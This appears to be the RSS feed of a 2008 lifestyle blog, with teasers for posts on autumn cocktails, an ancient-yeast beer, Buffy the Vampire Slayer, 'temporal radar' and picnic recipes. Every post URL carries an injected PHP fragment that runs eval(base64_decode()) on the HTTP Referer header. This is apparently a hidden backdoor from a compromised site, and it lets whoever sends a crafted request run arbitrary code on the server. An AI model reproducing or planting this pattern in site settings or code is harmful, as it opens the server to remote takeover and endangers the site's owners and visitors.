http://thesavvylife.nideanet.com Luxury, Pleasure, and Efficiency Thu, 02 Oct 2008 03:30:37 +0000 http://backend.userland.com/rss092 en Autumn is officially here and with the cold weather there is nothing like having a cocktail with friends and family to keep some warmth in our lives. One of the great things about fall is the availability of harvest foods and flavors. I think the cocktails we enjoy in ... http://thesavvylife.nideanet.com/2008/10/01/putting-the-taste-of-autumn-in-a-glass/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I first heard of this unique beer brewed from ancient yeast from the NPR show Wait Wait Don't Tell Me and it captured my imagination.  The Fossil Fuels Brewing Co. of Northern California has done something amazing - I mean more amazing than brewing beer.  I think we can ... http://thesavvylife.nideanet.com/2008/09/22/a-beer-45-million-years-in-the-making/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I've been toying with this theme for a bit and finally just decided to put it into words and see how it looked.  There is so much to be explored in the world of Buffy and I am certain in all the academic papers written about the show and the ... http://thesavvylife.nideanet.com/2008/09/15/everything-i-need-to-know-about-relationships-i-learned-from-buffy-the-vampire-slayer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I believe everyone has what I like to call a temporal radar.  Some people have a much better radarscreens that extends way out into the future, while others, like me, have radarscreens that at best extend out 12 days.  What this means is people track events and days differently.  If ... http://thesavvylife.nideanet.com/2008/08/13/temporal-radar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I found the New York Times article, The Minimalist - 101 20-Minute Dishes For Inspired Picnics by way of Lifehacker.com. With the Fourth of July looming on the horizon, there is no doubt summer is in full swing. I'm really interested in breaking from the 'typical' when it comes ... http://thesavvylife.nideanet.com/2008/07/03/perfect-picnic-recipes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/